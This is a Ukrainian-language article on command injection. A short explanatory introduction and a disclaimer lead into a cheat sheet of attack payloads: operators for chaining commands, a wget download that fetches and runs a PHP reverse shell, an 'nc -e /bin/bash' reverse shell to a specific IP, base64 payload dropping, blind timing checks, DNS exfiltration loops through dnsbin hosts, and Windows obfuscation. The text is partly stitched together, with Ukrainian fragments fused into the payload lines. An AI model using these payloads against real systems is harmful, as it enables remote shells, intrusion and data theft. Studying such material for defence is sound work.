Стаття присвячена Command Injection (впровадженню команд) — це тип атаки, коли зловмисник може виконувати довільні команди операційної системи на сервері, на якому розміщено програму. Це може призвести до повного компрометування програми та всіх її даних. Виконання цих команд зазвичай дозволяє атакуючому отримати несанкціонований доступ або контроль за середовищем програми та її системою.
Дисклеймер: Цей матеріал створено виключно для ознайомлювальних цілей. Автори не несуть відповідальності за можливе використання інформації у шкідливих цілях. Знання про вразливості необхідне для покращення безпеки програмного забезпечення.
Ін’єкція команди (Command Injection) — це один із найпоширеніших і небезпечних видів атак на веб-додатки та сервери. У рамках цієї атаки зловмисник має можливість виконувати довільні команди операційної системи на сервері, що дає йому контроль над додатком, його даними та навіть всією системою.
Цей вид атаки виник разом із розвитком веб-технологій, коли розробники почали інтегрувати системні команди для автоматизації завдань на серверах. Через необачне оброблення вхідних даних користувачів часто виникають вразливості, які дозволяють виконувати сторонні команди. Наприклад, якщо програма передає введені користувачем дані напряму до оболонки операційної системи без належної перевірки, зловмисник може вставити свою команду, змінюючи поведінку програми.
Небезпека цього виду атак полягає в наступному:
Отримання доступу до системи. Зловмисник може отримати доступ до системних файлів, баз даних або конфіденційної інформації.
Повний контроль над сервером. Якщо атака успішна, зловмисник може встановлювати шкідливе ПЗ, змінювати дані або навіть використовувати сервер для подальших атак.
Зниження продуктивності або відмова у роботі. Виконання ресурсозатратних команд може призвести до перевантаження або виходу системи з ладу.
Фінансові та репутаційні втрати. Компрометація даних клієнтів або службової інформації може завдати значних збитків.
Важливо розуміти, що ін’єкція команди не залежить від мови програмування або платформи: будь-яка система, яка виконує команди операційної системи, потенційно вразлива. Захист від таких атак полягає у впровадженні принципів безпечного кодування, таких як перевірка та очищення введених даних, використання параметризованих запитів і мінімізація привілеїв.
Ін’єкція команд — це серйозна загроза, яка може мати катастрофічні наслідки для безпеки системи. Розуміння її механізму та своєчасне впровадження захисту допомагає уникнути ризиків.
"або ') перед командами.#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80 vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s user 0m0.000s sys 0m0.000s swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi real 0m0.002s user 0m0.000s sys 0m0.000s
https://github.com/HoLyVieR/dnsbinтакож розміщеного на dnsbin.zhack.ca1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Онлайн-інструменти для перевірки крадіжки даних на основі DNS
dnsbin.zhack.ca
pingb.in
вікна:
powershell C:**2\n??e*d.*? # notepad @^p^o^w^e^r^shell c:**32\c*?c.e?e # calc